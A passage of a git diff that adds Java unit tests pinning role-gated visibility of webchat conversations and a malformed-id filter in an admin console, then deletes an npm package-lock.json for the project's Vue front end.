com.baomidou.mybatisplus.core.metadata.TableInfoHelper; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.builder.MapperBuilderAssistant; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.ArgumentCaptor; +import org.mockito.InjectMocks; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; +import vip.mate.agent.repository.AgentMapper; +import vip.mate.auth.model.UserEntity; +import vip.mate.auth.service.AuthService; +import vip.mate.workspace.conversation.model.ConversationEntity; +import vip.mate.workspace.conversation.repository.ConversationMapper; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.when; + +/** + * Pin the admin-console visibility of webchat conversations. + * + *

    WebChat threads are owned by an external visitor principal + * ({@code webchat:}), not a MateClaw account. The admin-console + * list / page surface them alongside {@code system}-owned IM rows — but only + * for a global admin, because per the cross-workspace guard (issue #344) only a + * global admin can actually open a webchat-owned conversation. Listing them to + * a non-admin would show rows the caller would then 403 on, so the webchat + * clause is gated on the requester's role. The strict overload (visitor + * self-service path) never widens to other principals. + * + *

    The owner-check matrix itself is covered by + * {@link ConversationServiceOwnershipWorkspaceTest}. + */ +@ExtendWith(MockitoExtension.class) +class ConversationServiceWebchatVisibilityTest { + + @Mock private ConversationMapper conversationMapper; + @Mock private AgentMapper agentMapper; + @Mock private AuthService authService; + + @InjectMocks private ConversationService service; + + /** + * LambdaQueryWrapper resolves column names from MyBatis-Plus's table-info + * cache, which a Spring context would normally populate. Seed it directly so + * {@code getTargetSql()} / {@code getParamNameValuePairs()} work in this pure + * unit test. + */ + @BeforeAll + static void initLambdaCache() { + TableInfoHelper.initTableInfo( + new MapperBuilderAssistant(new MybatisConfiguration(), ""), + ConversationEntity.class); + } + + @Test + @DisplayName("lenient list, global admin: includes webchat principals (username LIKE 'webchat:%')") + void lenientListAdminIncludesWebchat() { + when(authService.findByUsername("admin")).thenReturn(user("admin")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectList(captor.capture())).thenReturn(List.of()); + + service.listConversations("admin", 1L, true); + + String sql = captor.getValue().getTargetSql(); + assertThat(sql).containsIgnoringCase("like"); + assertThat(captor.getValue().getParamNameValuePairs().values()) + .contains("webchat:%"); + } + + @Test + @DisplayName("lenient list, non-admin: excludes webchat principals (no 'webchat:%' param)") + void lenientListNonAdminExcludesWebchat() { + when(authService.findByUsername("alice")).thenReturn(user("member")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectList(captor.capture())).thenReturn(List.of()); + + service.listConversations("alice", 1L, true); + + // The malformed-id guard still emits a NOT LIKE, so we assert on the + // param value instead of the LIKE keyword. + assertThat(captor.getValue().getParamNameValuePairs().values()) + .doesNotContain("webchat:%"); + } + + @Test + @DisplayName("strict list excludes webchat principals (no 'webchat:%' param, no role lookup)") + void strictListExcludesWebchat() { + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectList(captor.capture())).thenReturn(List.of()); + + service.listConversations("admin", 1L); // strict 2-arg + + assertThat(captor.getValue().getParamNameValuePairs().values()) + .doesNotContain("webchat:%"); + } + + @Test + @DisplayName("page query, global admin: includes webchat principals") + void pageAdminIncludesWebchat() { + when(authService.findByUsername("admin")).thenReturn(user("admin")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectPage(any(Page.class), captor.capture())) + .thenReturn(new Page<>()); + + service.pageConversations("admin", 1L, 1, 20, null); + + String sql = captor.getValue().getTargetSql(); + assertThat(sql).containsIgnoringCase("like"); + assertThat(captor.getValue().getParamNameValuePairs().values()) + .contains("webchat:%"); + } + + @Test + @DisplayName("page query, non-admin: excludes webchat principals") + void pageNonAdminExcludesWebchat() { + when(authService.findByUsername("alice")).thenReturn(user("member")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectPage(any(Page.class), captor.capture())) + .thenReturn(new Page<>()); + + service.pageConversations("alice", 1L, 1, 20, null); + + assertThat(captor.getValue().getParamNameValuePairs().values()) + .doesNotContain("webchat:%"); + } + + // ------------------------------------------------------------------ + // Malformed conversationId guard — rows whose id ends in ":" (e.g. an + // empty-visitorId webchat thread) are filtered out of every admin list + // query, regardless of role. Surfacing them triggers 500/403 on open + // because the trailing ":" confuses some reverse proxies (issue #369). + // ------------------------------------------------------------------ + + @Test + @DisplayName("lenient list: applies NOT LIKE '%:' guard to filter malformed ids") + void lenientListAppliesMalformedIdGuard() { + when(authService.findByUsername("admin")).thenReturn(user("admin")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectList(captor.capture())).thenReturn(List.of()); + + service.listConversations("admin", 1L, true); + + // The bound LIKE pattern must be exactly "%:" (ends-with colon), not + // "%%:%" (contains colon). The earlier notLike("%:") form produced + // the latter via MyBatis-Plus auto-wrapping + percent-escape, which + // filtered out every webchat:… / feishu:… / cron:… conversation. + assertThat(captor.getValue().getTargetSql().toLowerCase()).contains("not like"); + assertThat(captor.getValue().getParamNameValuePairs().values()).contains("%:"); + } + + @Test + @DisplayName("page query: applies the same NOT LIKE '%:' guard") + void pageAppliesMalformedIdGuard() { + when(authService.findByUsername("admin")).thenReturn(user("admin")); + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectPage(any(Page.class), captor.capture())) + .thenReturn(new Page<>()); + + service.pageConversations("admin", 1L, 1, 20, null); + + // Force the nested-wrapper param merge: getParamNameValuePairs() is + // empty until getTargetSql() (or equivalent) has been called once. + assertThat(captor.getValue().getTargetSql().toLowerCase()).contains("not like"); + assertThat(captor.getValue().getParamNameValuePairs().values()).contains("%:"); + } + + @Test + @DisplayName("strict list also applies the guard — malformed ids never leak to owner-only views") + void strictListAppliesMalformedIdGuard() { + ArgumentCaptor> captor = + ArgumentCaptor.forClass(LambdaQueryWrapper.class); + when(conversationMapper.selectList(captor.capture())).thenReturn(List.of()); + + service.listConversations("admin", 1L); // strict 2-arg + + // Force the nested-wrapper param merge before checking values. + assertThat(captor.getValue().getTargetSql().toLowerCase()).contains("not like"); + assertThat(captor.getValue().getParamNameValuePairs().values()).contains("%:"); + } + + private static UserEntity user(String role) { + UserEntity u = new UserEntity(); + u.setRole(role); + return u; + } +} diff --git a/mateclaw-ui/package-lock.json b/mateclaw-ui/package-lock.json deleted file mode 100644 index d3d53480..00000000 --- a/mateclaw-ui/package-lock.json +++ /dev/null @@ -1,4336 +0,0 @@ -{ - "name": "mateclaw-ui", - "version": "1.0.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "mateclaw-ui", - "version": "1.0.0", - "dependencies": { - "@element-plus/icons-vue": "^2.3.1", - "axios": "^1.7.9", - "dayjs": "^1.11.13", - "dompurify": "^3.3.3", - "element-plus": "^2.9.1", - "highlight.js": "^11.11.1", - "marked": "^15.0.6", - "marked-highlight": "^2.2.3", - "pinia": "^3.0.1", - "vue": "^3.5.13", - "vue-i18n": "9.14.4", - "vue-router": "^4.5.0" - }, - "devDependencies": { - "@tailwindcss/vite": "^4.0.6", - "@vitejs/plugin-vue": "^5.2.1", - "@vue/tsconfig": "^0.7.0", - "autoprefixer": "^10.4.20", - "eslint": "^9.18.0", - "eslint-plugin-vue": "^9.32.0", - "tailwindcss": "^4.0.6", - "typescript": "~5.7.2", - "vite": "^6.0.11", - "vue-tsc": "^2.2.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.29.2", - "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.29.2.tgz", - "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", - "license": "MIT", - "dependencies": { - "@babel/types": "^7.29.0" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/types": { - "version": "7.29.0", - "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.29.0.tgz", - "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@ctrl/tinycolor": { - "version": "4.2.0", - "resolved": "https://registry.npmmirror.com/@ctrl/tinycolor/-/tinycolor-4.2.0.tgz", - "integrity": "sha512-kzyuwOAQnXJNLS9PSyrk0CWk35nWJW/zl/6KvnTBMFK65gm7U1/Z5BqjxeapjZCIhQcM/DsrEmcbRwDyXyXK4A==", - "license": "MIT", - "engines": { - "node": ">=14" - } - }, - "node_modules/@element-plus/icons-vue": { - "version": "2.3.2", - "resolved": "https://registry.npmmirror.com/@element-plus/icons-vue/-/icons-vue-2.3.2.tgz", - "integrity": "sha512-OzIuTaIfC8QXEPmJvB4Y4kw34rSXdCJzxcD1kFStBvr8bK6X1zQAYDo0CNMjojnfTqRQCJ0I7prlErcoRiET2A==", - "license": "MIT", - "peerDependencies": { - "vue": "^3.2.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.25.12", - "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.1", - "resolved": "https://registry.npmmirror.com/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", - "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmmirror.com/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.2", - "resolved": "https://registry.npmmirror.com/@eslint/config-array/-/config-array-0.21.2.tgz", - "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.5" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmmirror.com/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmmirror.com/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.5", - "resolved": "https://registry.npmmirror.com/@eslint/eslintrc/-/eslintrc-3.3.5.tgz", - "integrity": "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.14.0", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.5", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/eslintrc/node_modules/globals": { - "version": "14.0.0", - "resolved": "https://registry.npmmirror.com/globals/-/globals-14.0.0.tgz", - "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.4", - "resolved": "https://registry.npmmirror.com/@eslint/js/-/js-9.39.4.tgz", - "integrity": "sha512-nE7DEIchvtiFTwBw4Lfbu59PG+kCofhjsKaCWzxTpt4lfRjRMqG6uMBzKXuEcyXhOHoUp9riAm7/aWYGhXZ9cw==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmmirror.com/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmmirror.com/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@floating-ui/core": { - "version": "1.7.5", - "resolved": "https://registry.npmmirror.com/@floating-ui/core/-/core-1.7.5.tgz", - "integrity": "sha512-1Ih4WTWyw0+lKyFMcBHGbb5U5FtuHJuujoyyr5zTaWS5EYMeT6Jb2AuDeftsCsEuchO+mM2ij5+q9crhydzLhQ==", - "license": "MIT", - "dependencies": { - "@floating-ui/utils": "^0.2.11" - } - }, - "node_modules/@floating-ui/dom": { - "version": "1.7.6", - "resolved": "https://registry.npmmirror.com/@floating-ui/dom/-/dom-1.7.6.tgz", - "integrity": 